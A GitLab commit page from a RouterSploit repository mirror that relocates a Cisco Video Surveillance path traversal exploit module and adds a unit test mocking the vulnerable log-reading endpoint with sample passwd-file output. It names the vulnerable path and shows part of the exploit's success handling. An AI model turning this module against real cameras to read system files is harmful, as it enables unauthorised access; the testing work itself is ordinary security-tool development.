Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
b6f3ac37
Unverified
Commit
b6f3ac37
authored
6 years ago
by
Marcin Bury
Committed by
GitHub
6 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding tests for Cisco Video Surveillance Path Traversal module (#520)
parent
f32e08d3
master
…
v3.4.4
v3.4.3
v3.4.2
v3.4.0
No related merge requests found
Show whitespace changes
Inline
Side-by-side
Showing
4 changed files
with
31 additions
and
3 deletions
+31
-3
__init__.py
routersploit/modules/exploits/cameras/cisco/__init__.py
+0
-0
video_surv_path_traversal.py
...dules/exploits/cameras/cisco/video_surv_path_traversal.py
+1
-3
__init__.py
tests/exploits/cameras/cisco/__init__.py
+0
-0
test_video_surv_path_traversal.py
.../exploits/cameras/cisco/test_video_surv_path_traversal.py
+30
-0
No files found.
routersploit/modules/exploits/cameras/cisco/__init__.py
0 → 100644
View file @
b6f3ac37
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/
router
s/cisco/video_surv_path_traversal.py
→
routersploit/modules/exploits/
camera
s/cisco/video_surv_path_traversal.py
View file @
b6f3ac37
...
...
@@ -32,10 +32,8 @@ class Exploit(HTTPClient):
method
=
"GET"
,
path
=
path
)
if
response
is
None
:
return
if
response
.
status_code
==
200
and
len
(
response
.
text
):
if
response
and
response
.
status_code
==
200
and
len
(
response
.
text
):
print_success
(
"Exploit success"
)
print_status
(
"Reading file: {}"
.
format
(
self
.
filename
))
print_info
(
response
.
text
)
...
...
This diff is collapsed.
Click to expand it.
tests/exploits/cameras/cisco/__init__.py
0 → 100644
View file @
b6f3ac37
This diff is collapsed.
Click to expand it.
tests/exploits/cameras/cisco/test_video_surv_path_traversal.py
0 → 100644
View file @
b6f3ac37
from
routersploit.modules.exploits.cameras.cisco.video_surv_path_traversal
import
Exploit
def
test_check_success
(
target
):
""" Test scenario - successul check """
route_mock
=
target
.
get_route_mock
(
"/BWT/utils/logs/read_log.jsp"
,
methods
=
[
"GET"
])
route_mock
.
return_value
=
(
"admin:x:0:0:root:/root:/bin/bash"
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin"
"bin:x:2:2:bin:/bin:/usr/sbin/nologin"
"sys:x:3:3:sys:/dev:/usr/sbin/nologin"
"sync:x:4:65534:sync:/bin:/bin/sync"
"games:x:5:60:games:/usr/games:/usr/sbin/nologin"
"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin"
"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin"
"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin"
"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin"
"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin"
"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin"
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"
"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin"
)
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment